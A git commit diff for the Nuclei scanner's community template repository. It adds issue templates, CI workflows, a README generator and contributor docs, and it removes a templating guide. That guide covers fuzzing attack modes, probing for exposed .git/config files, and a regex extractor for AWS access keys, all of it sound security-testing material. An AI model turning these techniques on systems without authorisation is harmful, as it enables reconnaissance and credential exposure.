Auto Update README [Sat Jul 10 17:03:33 UTC 2021] 🤖

Added CVE-2021-34621

.github/ISSUE_TEMPLATE/bug_report.md

@@ -0,0 +1,32 @@
+---
+name: Bug report
+about: Create a issue to help us improve
+title: "[Bug] "
+labels: ''
+assignees: ''
+
+---
+
+**Nuclei version**
+
+```
+nuclei -version 
+```
+
+**Nuclei template version**
+
+```
+cat ~/.nuclei-config.json
+```
+
+**Describe the bug**
+A clear and concise description of what the bug is.
+
+**Commands to reproduce**
+
+```
+nuclei -t xxx -target xxx
+```
+
+**Screenshots**
+If applicable, add screenshots to help explain your problem.

.github/ISSUE_TEMPLATE/false-positive.md

@@ -0,0 +1,30 @@
+---
+name: False Positive
+about: 'Create an issue if you found false positive results. '
+title: "[false-positive] template-name "
+labels: 'false-positive'
+assignees: ''
+
+---
+
+**Nuclei version**
+
+```
+nuclei -version 
+```
+
+**Nuclei template version**
+
+```
+cat ~/.nuclei-config.json
+```
+
+**Template ID**
+
+Please submit the ID template producing false-positive results. 
+
+**Commands to Reproduce**
+
+```
+nuclei -t template_id -target ?
+```

.github/ISSUE_TEMPLATE/feature_request.md

@@ -0,0 +1,16 @@
+---
+name: Feature request
+about: Suggest an idea to improve nuclei templates
+title: "[Feature] "
+labels: ''
+assignees: ''
+
+---
+
+**Is your feature request related to a problem? Please describe.**
+
+A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]
+
+**Describe the solution you'd like**
+
+A clear and concise description of what you want to happen.

.github/ISSUE_TEMPLATE/submit-template.md

@@ -0,0 +1,15 @@
+---
+name: Submit Template
+about: Submit nuclei template using issue
+title: "[nuclei-template] template-name"
+labels: 'nuclei-template'
+assignees: ''
+
+---
+
+**Template Details**
+
+```yaml
+
+nuclei template goes here
+```

.github/scripts/README.tmpl

@@ -0,0 +1,83 @@
+f"""
+
+<h1 align="center">
+Nuclei Templates
+</h1>
+<h4 align="center">Community curated list of templates for the nuclei engine to find a security vulnerability in application.</h4>
+
+
+<p align="center">
+<a href="https://github.com/projectdiscovery/nuclei-templates/issues"><img src="https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat"></a>
+<a href="https://github.com/projectdiscovery/nuclei-templates/releases"><img src="https://img.shields.io/github/release/projectdiscovery/nuclei-templates"></a>
+<a href="https://twitter.com/pdnuclei"><img src="https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter"></a>
+<a href="https://discord.gg/projectdiscovery"><img src="https://img.shields.io/discord/695645237418131507.svg?logo=discord"></a>
+</p>
+      
+<p align="center">
+  <a href="https://nuclei.projectdiscovery.io/templating-guide/">Documentation</a> •
+  <a href="#-contributions">Contributions</a> •
+  <a href="#-discussion">Discussion</a> •
+  <a href="#-community">Community</a> •
+  <a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
+  <a href="https://discord.gg/projectdiscovery">Join Discord</a>
+</p>
+
+----
+
+Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/nuclei) which power the actual scanning engine. This repository stores and houses various templates for the scanner provided by our team as well as contributed by the community. We hope that you also contribute by sending templates via **pull requests** or [Github issue](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+) and grow the list.
+
+
+## Nuclei Templates overview
+
+
+An overview of the nuclei template directory including number of templates associated with each directory. 
+
+<table>
+<tr>
+<td> 
+
+| Templates        | Counts                         | Templates       | Counts                          | Templates      | Counts                       |
+| ---------------- | ------------------------------ | --------------- | ------------------------------- | -------------- | ---------------------------- |
+| cves             | {countTpl("cves/*")}           | vulnerabilities | {countTpl("vulnerabilities/*")} | exposed-panels | {countTpl("exposed-panels")} |
+| takeovers        | {countTpl("takeovers")}        | exposures       | {countTpl("exposures/*")}       | technologies   | {countTpl("technologies")}   |
+| misconfiguration | {countTpl("misconfiguration")} | workflows       | {countTpl("workflows")}         | miscellaneous  | {countTpl("miscellaneous")}  |
+| default-logins   | {countTpl("default-logins/*")} | file            | {countTpl("file/*")}            | dns            | {countTpl("dns")}            |
+| fuzzing          | {countTpl("fuzzing")}          | helpers         | {countTpl("helpers/*")}         | iot            | {countTpl("iot")}            |
+
+**{command("tree", -2, None)}**.
+
+</td>
+</tr>
+</table>
+
+
+
+
+
+📖 Documentation
+-----
+
+Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to **build** new and your **own custom** templates, we have also added many example templates for easy understanding.
+
+💪 Contributions
+-----
+
+Nuclei-templates is powered by major contributions from the community. [Template contributions ](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+), [Feature Requests](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=feature_request.md&title=%5BFeature%5D+) and [Bug Reports](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=bug_report.md&title=%5BBug%5D+) are more than welcome.
+
+💬 Discussion
+-----
+
+Have questions / doubts / ideas to discuss? feel free to open a discussion using [Github discussions](https://github.com/projectdiscovery/nuclei-templates/discussions) board.
+
+👨‍💻 Community
+-----
+
+You are welcomed to join our [Discord Community](https://discord.gg/KECAGdH). You can also follow us on [Twitter](https://twitter.com/pdiscoveryio) to keep up with everything related to projectdiscovery.
+
+💡 Notes
+-----
+-  Use YAMLlint (e.g. [yamllint](http://www.yamllint.com/) to validate the syntax of templates before sending pull requests.
+
+
+Thanks again for your contribution and keeping the community vibrant. :heart:
+"""

.github/scripts/update-readme.py

@@ -0,0 +1,18 @@
+#!/usr/bin/env python3
+import glob
+import subprocess
+
+def countTpl(path):
+	return len(glob.glob(path + "/*.*"))
+
+def command(args, start=None, end=None):
+	return "\n".join(subprocess.run(args, text=True, capture_output=True).stdout.split("\n")[start:end])[:-1]
+
+if __name__ == "__main__":
+	version = command(["git", "describe", "--tags", "--abbrev=0"])
+	template = eval(open(".github/scripts/README.tmpl", "r").read())
+
+	print(template)
+	f = open("README.md", "w")
+	f.write(template)
+	f.close()

.github/workflows/syntax-checking.yml

@@ -1,4 +1,4 @@
-name: syntax-checking
+name: ❄️ YAML Lint
 
 on: [push, pull_request]
 

.github/workflows/template-validate.yml

@@ -0,0 +1,35 @@
+name: 🛠 Template Validate
+
+on: [push, pull_request]
+
+jobs:
+  build:
+    runs-on: ubuntu-latest
+    steps:
+      - name: Checkout Repo
+        uses: actions/checkout@master
+
+      - name: Setup golang
+        uses: actions/setup-go@v2
+        with:
+          go-version: 1.14
+
+      - name: Cache Go
+        id: cache-go
+        uses: actions/cache@v2
+        with:
+          path: /home/runner/go
+          key: ${{ runner.os }}-go
+
+      - name: Installing Nuclei
+        if: steps.cache-go.outputs.cache-hit != 'true'
+        env:
+          GO111MODULE: on
+        run: |
+          go get -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@dev
+        shell: bash
+
+      - name: Template Validation
+        run: |
+          nuclei -validate -t . -exclude .pre-commit-config.yaml
+        shell: bash

.github/workflows/update-readme.yml

@@ -0,0 +1,48 @@
+name: 📝 Readme Update
+
+on:
+  push:
+    branches:
+      - master
+  create:
+    tags:
+      - v*
+
+jobs:
+  build:
+    runs-on: ubuntu-latest
+    if: github.repository == 'projectdiscovery/nuclei-templates' && github.ref == 'refs/heads/master'
+    steps:
+      - name: Install tree
+        run: sudo apt-get install tree -y
+
+      - name: Check out code
+        uses: actions/checkout@master
+        with:
+          persist-credentials: false
+          fetch-depth: 0
+
+      - name: Set up Python
+        uses: actions/setup-python@v2
+        with:
+          python-version: "3.8"
+
+      - name: Update README
+        id: update-readme
+        run: |
+          python .github/scripts/update-readme.py
+          echo "::set-output name=changes::$(git status -s | wc -l)"
+
+      - name: Commit files
+        if: steps.update-readme.outputs.changes > 0
+        run: |
+          git config --local user.email "[email protected]"
+          git config --local user.name "GitHub Action"
+          git commit -m "Auto Update README [$(date)] :robot:" -a
+
+      - name: Push changes
+        if: steps.update-readme.outputs.changes > 0
+        uses: ad-m/github-push-action@master
+        with:
+          github_token: ${{ secrets.GITHUB_TOKEN }}
+          branch: ${{ github.ref }}

.gitignore

@@ -0,0 +1,2 @@
+.DS_Store
+local/

.nuclei-ignore

@@ -0,0 +1,17 @@
+# ==| Nuclei Templates Ignore list |==
+# ====================================
+#
+# This is default list of tags and files to excluded from default nuclei scan.
+# More details - https://nuclei.projectdiscovery.io/nuclei/get-started/#template-exclusion
+
+# tags is a list of tags to ignore execution for
+# unless asked for by the user.
+
+tags: 
+  - "dos"
+  - "misc"
+  - "fuzz"
+  - "revision"
+
+# files is a list of files to ignore template execution
+# unless asked for by the user.

.yamllint

@@ -1,9 +1,17 @@
 ---
 extends: default
 
+ignore: |
+  .pre-commit-config.yaml
+  .github/workflows/*.yml
+
 rules:
   document-start: disable
   line-length: disable
   new-lines: disable
   new-line-at-end-of-file: disable
   truthy: disable
+  comments:
+    require-starting-space: true
+    ignore-shebangs: true
+    min-spaces-from-content: 1

CODE_OF_CONDUCT.md

@@ -0,0 +1,76 @@
+# Contributor Covenant Code of Conduct
+
+## Our Pledge
+
+In the interest of fostering an open and welcoming environment, we as
+contributors and maintainers pledge to making participation in our project and
+our community a harassment-free experience for everyone, regardless of age, body
+size, disability, ethnicity, sex characteristics, gender identity and expression,
+level of experience, education, socio-economic status, nationality, personal
+appearance, race, religion, or sexual identity and orientation.
+
+## Our Standards
+
+Examples of behavior that contributes to creating a positive environment
+include:
+
+* Using welcoming and inclusive language
+* Being respectful of differing viewpoints and experiences
+* Gracefully accepting constructive criticism
+* Focusing on what is best for the community
+* Showing empathy towards other community members
+
+Examples of unacceptable behavior by participants include:
+
+* The use of sexualized language or imagery and unwelcome sexual attention or
+ advances
+* Trolling, insulting/derogatory comments, and personal or political attacks
+* Public or private harassment
+* Publishing others' private information, such as a physical or electronic
+ address, without explicit permission
+* Other conduct which could reasonably be considered inappropriate in a
+ professional setting
+
+## Our Responsibilities
+
+Project maintainers are responsible for clarifying the standards of acceptable
+behavior and are expected to take appropriate and fair corrective action in
+response to any instances of unacceptable behavior.
+
+Project maintainers have the right and responsibility to remove, edit, or
+reject comments, commits, code, wiki edits, issues, and other contributions
+that are not aligned to this Code of Conduct, or to ban temporarily or
+permanently any contributor for other behaviors that they deem inappropriate,
+threatening, offensive, or harmful.
+
+## Scope
+
+This Code of Conduct applies both within project spaces and in public spaces
+when an individual is representing the project or its community. Examples of
+representing a project or community include using an official project e-mail
+address, posting via an official social media account, or acting as an appointed
+representative at an online or offline event. Representation of a project may be
+further defined and clarified by project maintainers.
+
+## Enforcement
+
+Instances of abusive, harassing, or otherwise unacceptable behavior may be
+reported by contacting the project team at contact@projectdiscovery.io. All
+complaints will be reviewed and investigated and will result in a response that
+is deemed necessary and appropriate to the circumstances. The project team is
+obligated to maintain confidentiality with regard to the reporter of an incident.
+Further details of specific enforcement policies may be posted separately.
+
+Project maintainers who do not follow or enforce the Code of Conduct in good
+faith may face temporary or permanent repercussions as determined by other
+members of the project's leadership.
+
+## Attribution
+
+This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4,
+available at https://www.contributor-covenant.org/version/1/4/code-of-conduct.html
+
+[homepage]: https://www.contributor-covenant.org
+
+For answers to common questions about this code of conduct, see
+https://www.contributor-covenant.org/faq

CONTRIBUTING.md

@@ -0,0 +1,97 @@
+# Template Contribution Guidelines
+
+This documentation contains a set of guidelines to help you during the contribution process. 
+We are happy to welcome all the contributions from anyone willing to **improve/add** new **templates** to this project. 
+Thank you for helping out and remember, **no contribution is too small.**
+
+# Submitting Nuclei Templates 👩‍💻👨‍💻
+
+Below you will find the process and workflow used to review and merge your changes.
+
+## Step 1 : Find existing templates
+
+- Take a look at the [Existing Templates](https://github.com/projectdiscovery/nuclei-templates) before creating new one.
+- Take a look at Existing Templates in [GitHub Issues](https://github.com/projectdiscovery/nuclei-templates/issues) and [Pull Request](https://github.com/projectdiscovery/nuclei-templates/pulls) section to avoid duplicate work.
+- Take a look at [Templates](https://nuclei.projectdiscovery.io/templating-guide/) and [Matchers](https://github.com/projectdiscovery/nuclei-templates/wiki/Unique-Template-Matchers) Guideline for creating new template.
+
+## Step 2 : Fork the Project
+
+- Fork this Repository. This will create a Local Copy of this Repository on your Github Profile. Keep a reference to the original project in `upstream` remote.
+
+<img width="928" alt="template-fork" src="https://user-images.githubusercontent.com/8293321/124467966-2afde200-ddb6-11eb-835f-8f8fc2fabedb.png">
+
+```sh
+git clone https://github.com/<your-username>/nuclei-templates
+cd nuclei-templates
+git remote add upstream https://github.com/projectdiscovery/nuclei-templates
+```
+
+- If you have already forked the project, update your copy before working.
+
+```sh
+git remote update
+git checkout master
+git rebase upstream/master
+```
+
+## Step 3 : Create your Template Branch
+
+Create a new branch. Use its name to identify the issue your addressing.
+
+```sh
+# It will create a new branch with name template_branch_name and switch to that branch
+git checkout -b template_branch_name
+```
+
+## Step 4 : Create Template and Commit
+- Create your template.
+- Add all the files/folders needed.
+- After you've made changes or completed template creation, add changes to the branch you've just created by:
+
+```sh
+# To add all new files to branch template_branch_name
+git add .
+```
+
+- To commit give a descriptive message for the convenience of reveiwer by:
+
+```sh
+# This message get associated with all files you have changed
+git commit -m "Added/Fixed/Updated XXX Template"
+```
+
+**NOTE**: 
+
+- A Pull Request should have only one unique template to make it simple for review.
+- Multiple templates for same technology can be grouped into single Pull Request. 
+
+
+## Step 5 : Push Your Changes
+
+- Now you are ready to push your template to the remote (forked) repository.
+- When your work is ready and complies with the project conventions, upload your changes to your fork:
+
+```sh
+# To push your work to your remote repository
+git push -u origin template_branch_name
+```
+
+## Step 6 : Pull Request
+
+- Fire up your favorite browser, navigate to your GitHub repository, then click on the New pull request button within the Pull requests tab. Provide a meaningful name and description to your pull request, that describes the purpose of the template.
+- Voila! Your Pull Request has been submitted. It will be reviewed and merged by the moderators, if it complies with project standards, otherwise a feedback will be provided.🥳
+
+## Need more help?🤔
+
+You can refer to the following articles of Git and GitHub basics. In case you are stuck, feel free to contact the Project Mentors and Community by joining [PD Community](https://discord.gg/projectdiscovery) Discord server.
+
+- [Forking a Repo](https://help.github.com/en/github/getting-started-with-github/fork-a-repo)
+- [Cloning a Repo](https://help.github.com/en/desktop/contributing-to-projects/creating-an-issue-or-pull-request)
+- [How to create a Pull Request](https://opensource.com/article/19/7/create-pull-request-github)
+- [Getting started with Git and GitHub](https://towardsdatascience.com/getting-started-with-git-and-github-6fcd0f2d4ac6)
+- [Learn GitHub from Scratch](https://lab.github.com/githubtraining/introduction-to-github)
+
+
+## Tip from us😇
+
+**Nuclei** outcomes are only as excellent as **template matchers💡**

GUIDE.md

@@ -1,608 +0,0 @@
-# Templating Guide
-
-**Nuclei** is based on the concepts of `YAML` based template files that define how the requests will be sent and processed. This allows easy extensibility capabilities to nuclei.
-
-The templates are written in `YAML` which specifies a simple human readable format to quickly define the execution process.
-
-Let's start with the basics and define our own workflow file for detecting the presence of a `.git/config` file on a webserver and take it from there.
-
-## Table of Contents
-
-   * [Templating Guide](#templating-guide)
-      * [Template Details](#template-details)
-         * [<strong>Info</strong>](#info)
-         * [<strong>HTTP Requests</strong>](#http-requests)
-            * [<strong>Method</strong>](#method)
-            * [<strong>Redirects</strong>](#redirects)
-            * [<strong>Path</strong>](#path)
-            * [<strong>Headers</strong>](#headers)
-            * [<strong>Body</strong>](#body)
-            * [<strong>Matchers</strong>](#matchers)
-               * [<strong>Types</strong>](#types)
-               * [<strong>Conditions</strong>](#conditions)
-               * [<strong>Matched Parts</strong>](#matched-parts)
-               * [<strong>Multiple Matchers</strong>](#multiple-matchers)
-            * [Extractors](#extractors)
-            * [<strong>Example HTTP Template</strong>](#example-http-template)
-         * [<strong>DNS Requests</strong>](#dns-requests)
-            * [<strong>Type</strong>](#type)
-            * [<strong>Name</strong>](#name)
-            * [<strong>Class</strong>](#class)
-            * [<strong>Recursion</strong>](#recursion)
-            * [<strong>Retries</strong>](#retries)
-            * [<strong>Matchers</strong>](#matchers)
-            * [<strong>Example DNS Template</strong>](#example-dns-template)
-         * [<strong>Chained workflow</strong>](#chained-workflow)
-
-## Template Details
-
-Each template has a unique ID which is used during output writing to specify the template name for an output line.
-
-The template file ends with **.yaml** extension. The template files can be created any text editor of your choice.
-
-```yaml
-# id contains the unique identifier for the template.
-id: git-config
-```
-
-ID must not contain spaces. This is done to allow easier output parsing.
-
-### Info
-
-Next important piece of information about a template is the **info** block. Info block provides more context on the purpose of the template and the **author**. It can also contain a **severity** field which indicates the severity of the template.
-
-Let's add an **info** block to our template as well.
-
-```yaml
-info:
-  # Name is the name of the template
-  name: Git Config File Detection Template
-  # Author is the name of the author for the template
-  author: Ice3man
-  # Severity is the severity for the template.
-  severity: medium
-```
-
-Actual requests and corresponding matchers are placed below the info block and they perform the task of making requests to target servers and finding if the template request was successful.
-
-Each template file can contain multiple requests to be made. The template is iterated and one by one the desired HTTP/DNS requests are made to the target sites.
-
-### HTTP Requests
-
-Requests start with a request block which specifies the start of the requests for the template.
-
-```yaml
-# Start the requests for the template right here
-requests:
-```
-
-At this point you can define raw requests like the following ones (as of now it's suggested to leave the `Host` header as in the example with the variable `{{Hostname}}`).
-
-```yaml
-requests:
-  - raw:
-    - |
-        GET /path1/ HTTP/1.1
-        User-Agent: chrome
-        Host: {{Hostname}}
-        Accept: a1/b1
-    - |
-        POST /path2/ HTTP/1.1
-        User-Agent: chrome
-        Host: {{Hostname}}
-        Accept: a2/b2
-
-        This is the request Body
-```
-
-Otherwise you can define structured requests as described in the following paragraphs. Requests can be fine tuned to perform the exact tasks as desired. Nuclei requests are fully configurable meaning you can configure and define each and every single thing about the requests that will be sent to the target servers. A recent addition in raw requests has been the introduction of intruder-like functionalities. It's possible to define placeholders as `{{placeholder}}`, and perform Sniper, Pitchfork and ClusterBomb attacks. The wordlist for these attacks needs to be defined during the request definition under the `Payload` field. Finally all DSL functionalities are fully available and supported, and can be used to manipulate the final values. Here follows an example:
-
-```yaml
-id: dummy-raw
-info:
-  name: Example-Fuzzing
-
-requests:
-  - payloads:
-      param_a: /home/user/wordlist_param_a.txt
-      param_b: /home/user/wordlist_param_b.txt
-    attack: clusterbomb # Available options: sniper, pitchfork and clusterbomb
-    raw:
-      # Request with simple param and header manipulation with DSL functions
-      - |
-          POST /?param_a={{param_a}}&paramb={{param_b}} HTTP/1.1
-          User-Agent: {{param_a}}
-          Host: {{Hostname}}
-          another_header: {{base64(param_b)}}
-          Accept: */*
-
-          This is the Body
-      # Request with body manipulation
-      - |
-          DELETE / HTTP/1.1
-          User-Agent: nuclei
-          Host: {{Hostname}}
-          
-          This is the body {{sha256(param_a)}}
-      # Yet another one
-      - |
-          PUT / HTTP/1.1
-          Host: {{Hostname}}
-          
-          This is again the request body {{html_escape(param_a)}} + {{hex_encode(param_b))}}
-    matchers:
-      - type: word
-        words:
-          - "title"
-          - "body"
-```
-
-This functionality is **not optimized** for speed as the internal http library needs to be set explicitly with connection reuse policy.
-
-#### Method
-
-First thing in the request is **method**. Request method can be **GET**, **POST**, **PUT**, **DELETE**, etc depending on the needs.
-
-```yaml
-# Method is the method for the request
-method: GET
-```
-
-#### Redirects
-
-Redirection conditions can be specified per each template. By default, redirects are not followed. However, if desired, they can be enabled with `redirects: true` in request details. 10 redirects are followed at maximum by default which should be good enough for most use cases. More fine grained control can be exercised over number of redirects followed by using `max-redirects` field.
-
-An example of the usage:
-
-```yaml
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/login.php
-    redirects: true
-    max-redirects: 3
-```
-
-#### Path
-
-The next part of the requests is the **path** of the request path. Dynamic variables can be placed in the path to modify its behavior on runtime. Variables start with `{{` and end with `}}` and are case-sensitive.
-
-1. **BaseURL** - Placing BaseURL as a variable in the path will lead to it being replaced on runtime in the request by the original URL as specified in the target file.
-2. **Hostname** - Hostname variable is replaced by the hostname of the target on runtime.
-
-Some sample dynamic variable replacement examples:
-
-```yaml
-path: {{BaseURL}}/.git/config
-# This path will be replaced on execution with BaseURL
-# If BaseURL is set to  https://abc.com then the
-# path will get replaced to the following: https://abc.com/.git/config
-```
-
-Multiple paths can also be specified in one request which will be requested for the target.
-
-#### Headers
-
-Headers can also be specified to be sent along with the requests. Headers are placed in form of key/value pairs. An example header configuration looks like this:
-
-```yaml
-# headers contains the headers for the request
-headers:
-  # Custom user-agent header
-  User-Agent: Some-Random-User-Agent
-  # Custom request origin
-  Origin: https://google.com
-```
-
-#### Body
-
-Body specifies a body to be sent along with the request. For instance:
-
-```yaml
-# Body is a string sent along with the request
-body: "{\"some random JSON\"}"
-```
-
-#### Matchers
-
-Matchers are the core of nuclei. They are what make the tool so powerful. Multiple type of combinations and checks can be added to ensure that the results you get are free from false-positives.
-
-##### Types
-
-Multiple matchers can be specified in a request. There are basically 6 types of matchers:
-
-| Matcher Type | Part Matched               |
-| ------------ | -------------------------- |
-| status       | Status Code of Response    |
-| size         | Content Length of Response |
-| word         | Response body or headers   |
-| regex        | Response body or headers   |
-| binary       | Response body              |
-| dsl          | All Response Parts         |
-
-To match status codes for responses, you can use the following syntax.
-
-```yaml
-matcher:
-  # Match the status codes
-  - type: status
-    # Some status codes we want to match
-    status:
-      - 200
-      - 302
-```
-
-To match binary for hexadecimal responses, you can use the following syntax.
-
-```yaml
-matchers:
-  - type: binary
-    binary:
-      - "504B0304" # zip archive
-      - "526172211A070100" # rar RAR archive version 5.0
-      - "FD377A585A0000" # xz tar.xz archive
-    condition: or
-    part: body
-```
-
-To match size, similar structure can be followed. If the status code of response from the site matches any single one specified in the matcher, the request is marked as successful.
-
-**Word** and **Regex** matchers can be further configured depending on the needs of the users.
-
-Complex matchers of type **dsl** allows to build more elaborated expressions with helper functions, this is an example of a complex DSL matcher:
-
-```yaml
-matchers:
-  - type: dsl
-    dsl:
-      - "len(body)<1024 && status_code==200" # Body length less than 1024 and 200 status code
-      - "contains(toupper(body), md5(cookie))" # Check if the MD5 sum of cookies is contained in the uppercase body
-```
-
-Every part of a http response can be matched:
-
-| Response Part    | Description                                     | Example                   |
-|------------------|-------------------------------------------------|---------------------------|
-| content_length   | Header Content-Length                           | content_length >= 1024    |
-| status_code      | Response Status Code                            | status_code==200          |
-| all_headers      | Unique string containing all headers            | len(all_headers)          |
-| body             | Body as string                                  | len(body)                 |
-| header_name      | Lowercase header name with "-" converted to "_" | len(user_agent)           |
-| raw              | Headers + Response                              | len(raw)                  |
-
-This is the list for a dns response:
-
-| Response Part    | Description                       | Example                   |
-|------------------|-----------------------------------|---------------------------|
-| rcode            | Response status                   | rcode == "NXDOMAIN        |
-| question         | Response Question Section         | len(question)             |
-| extra            | Response Extra Section            | len(extra)                |
-| answer           | Response Answers Section          | len(answer)               |
-| ns               | Response Authority Section        | len(ns)                   |
-| raw              | Full Response                     | len(raw)                  |
-
-The helper functions are:
-
-| Helper Function | Description                               | Example                                                                                        |
-|-----------------|-------------------------------------------|------------------------------------------------------------------------------------------------|
-| len             | Length of a string                        | len("Hello") // Result: 5                                                                      |
-| toupper         | string to uppercase                       | toupper("Hello") // Result: "HELLO"                                                            |
-| tolower         | string to lowercase                       | tolower("Hello") // Result: "hello"                                                            |
-| replace         | Replace string parts                      | replace("Hello", "He", "Ha") // Result: "Hallo"                                                |
-| trim            | Remove trailing unicode chars             | trim("aaaHelloddd", "ad") // Result: "Hello"                                                   |
-| trimleft        | Remove unicode chars from left            | trimleft("aaaHelloddd", "ad") // Result: "Helloddd"                                            |
-| trimright       | Remove unicode chars from right           | trimleft("aaaHelloddd", "ad") // Result: "aaaHello"                                            |
-| trimspace       | Remove trailing spaces                    | trimspace("  Hello  ") // Result: "Hello"                                                      |
-| trimprefix      | Trim specified prefix                     | trimprefix("aaHelloaa", "aa") // Result: "Helloaa"                                             |
-| trimsuffix      | Trim specified suffix                     | trimsuffix("aaHelloaa", "aa") // Result: "aaHello"                                             |
-| base64          | Encode string to base64                   | base64("Hello") // Result: "SGVsbG8="                                                          |
-| base64_decode   | Decode string from base64                 | base64_decode("SGVsbG8=") // Result: "Hello"                                                   |
-| url_encode   | URL encode a string                 | url_encode("https://projectdiscovery.io/test?a=1") // Result: "https:%2F%2Fprojectdiscovery.io%3Ftest=1"     |
-| url_decode   | URL decode a string                 | url_decode("https:%2F%2Fprojectdiscovery.io%3Ftest=1") // Result: "https://projectdiscovery.io/test?a=1"     |
-| hex_encode   | Hex encode a string                 | hex_encode("aa") // Result: "6161"     |
-| hex_decode   | Hex decode a string                 | hex_decode("6161") // Result: "aa"     |
-| html_escape   | Hex encode a string                 | html_escape("<html><body>test</body></html>") // Result: "&lt;html&gt;&lt;body&gt;test&lt;/body&gt;&lt;/html&gt;"     |
-| html_unescape   | Hex decode a string                 | html_unescape("&lt;html&gt;&lt;body&gt;test&lt;/body&gt;&lt;/html&gt;") // Result: "<html><body>test</body></html>"     |
-| md5             | Calculate md5 of string                   | md5("Hello") // Result: "8b1a9953c4611296a827abf8c47804d7"                                     |
-| sha256          | Calculate sha256 of string                | sha256("Hello") // Result: "185f8db32271fe25f561a6fc938b2e264306ec304eda518007d1764826381969"  |
-| sha1          | Calculate sha1 of string                | sha1("Hello") // Result: "f7ff9e8b7bb2e09b70935a5d785e0cc5d9d0abf0"  |
-| contains        | Verify if a string contains another one   | contains("Hello", "lo") // Result: True                                                        |
-| regex           | Verify a regex versus a string            | regex("H([a-z]+)o", "Hello") // Result: True                                                   |
-
-##### Conditions
-
-Multiple words and regexes can be specified in a single matcher and can be configured with different conditions like **AND** and **OR**.
-
-1. **AND** - Using AND conditions allows matching of all the words from the list of words for the matcher. Only then will the request be marked as successful when all the words have been matched.
-2. **OR** - Using OR conditions allows matching of a single word from the list of matcher. The request will be marked as successful when even one of the word is matched for the matcher.
-
-##### Matched Parts
-
-Multiple parts of the response can also be matched for the request.
-
-| Part   | Matched Part                         |
-| ------ | ------------------------------------ |
-| body   | Body of the response                 |
-| header | Header of the response               |
-| all    | Both body and header of the response |
-
-Example matchers for response body using the AND condition:
-
-```yaml
-matcher:
-  # Match the body word
-  - type: word
-   # Some words we want to match
-   words:
-     - "[core]"
-     - "[config]"
-   # Both words must be found in the response body
-   condition: and
-   #  We want to match request body (default)
-   part: body
-```
-
-Similarly, matchers can be written to match anything that you want to find in the response body allowing unlimited creativity and extensibility.
-
-##### Multiple Matchers
-
-Multiple matchers can be used in a single template to fingerprint multiple conditions with a single request.
-
-Here is an example of syntax for multiple matchers.
-
-```yaml
-matchers:
-  - type: word
-    name: php
-    words:
-      - "X-Powered-By: PHP"
-      - "PHPSESSID"
-    part: header
-  - type: word
-    name: node
-    words:
-      - "Server: NodeJS"
-      - "X-Powered-By: nodejs"
-    condition: or
-    part: header
-  - type: word
-    name: python
-    words:
-      - "Python/2."
-      - "Python/3."
-    condition: or
-    part: header
-```
-
-##### Matchers Condition
-
-While using multiple matchers the default condition is to follow OR operation in between all the matchers, AND operation can be used to make sure return the result if all matchers returns true.
-
-```yaml
-    matchers-condition: and
-    matchers:
-      - type: word
-        words:
-          - "X-Powered-By: PHP"
-          - "PHPSESSID"
-        condition: or
-        part: header
-
-      - type: word
-        words:
-          - "PHP"
-        part: body
-```
-
-#### Extractors
-
-Extractors are another important feature of nuclei. Extractors can be used to extract and display in results a match from the response body or headers based on a regular expression.
-
-Currently only `regex` type extractors are supported. A sample extractor for extracting API keys from the response body is as follows:
-
-```yaml
-# A list of extractors for text extraction
-extractors:
-  # type of the extractor, only regex for now.
-  - type: regex
-    # part of the response to extract (can be headers, all too)
-    part: body
-    # regex to use for extraction.
-    regex:
-      - "(A3T[A-Z0-9]|AKIA|AGPA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}"
-```
-
-#### **Example HTTP Template**
-
-The final template file for the `.git/config` file mentioned above is as follows:
-
-```yaml
-id: git-config
-
-info:
-  name: Git Config File
-  author: Ice3man
-  severity: medium
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/.git/config"
-    matchers:
-      - type: word
-        words:
-          - "[core]"
-```
-
-### DNS Requests
-
-Requests start with a dns block which specifies the start of the requests for the template.
-
-```yaml
-# Start the requests for the template right here
-dns:
-```
-
-DNS requests can be fine tuned to perform the exact tasks as desired. Nuclei requests are fully configurable meaning you can configure and define each and every single thing about the requests that will be sent to the target servers.
-
-#### Type
-
-First thing in the request is **type**. Request type can be **A**, **NS**, **CNAME**, **SOA**, **PTR**, **MX**, **TXT**, **AAAA**.
-
-```yaml
-# type is the type for the dns request
-type: A
-```
-
-#### Name
-
-The next part of the requests is the **name** of the request path. Dynamic variables can be placed in the path to modify its value on runtime. Variables start with `{{` and end with `}}` and are case-sensitive.
-
-1. **FQDN** - variable is replaced by the hostname/FQDN of the target on runtime.
-
-Some sample dynamic variable replacement examples:
-
-```yaml
-name: {{FQDN}}.com
-# This value will be replaced on execution with the FQDN.
-# If FQDN is https://this.is.an.example then the
-# name will get replaced to the following: this.is.an.example.com
-```
-
-As of now the tool supports only one question per request.
-
-#### Class
-
-Class type can be **INET**, **CSNET**, **CHAOS**, **HESIOD**, **NONE** and **ANY**. Usually it's enough to just leave it as **INET**.
-
-```yaml
-# method is the class for the dns request
-class: inet
-```
-
-#### Recursion
-
-Recursion is a boolean value, and determines if the resolver should only return cached results, or traverse the whole dns root tree to retrieve fresh results. Generally it's better to leave it as **true**.
-
-```yaml
-# Recursion is a boolean determining if the request is recursive
-recursion: true
-```
-
-#### Retries
-
-Retries is the number of attempts a dns query is retried before giving up among different resolvers. It's recommended a reasonable value, like **3**.
-
-```yaml
-# Retries is a number of retries before giving up on dns resolution
-retries: 3
-```
-
-#### Matchers
-
-Matchers are just equal to HTTP, but the search is performed on the whole dns response, therefore it's not necessary to specify the **part**. Multiple type of combinations and checks can be added to ensure that the results you get are free from false positives. The complex **dsl** matcher type allows to build complex queries as described in the HTTP section.
-
-##### Types
-
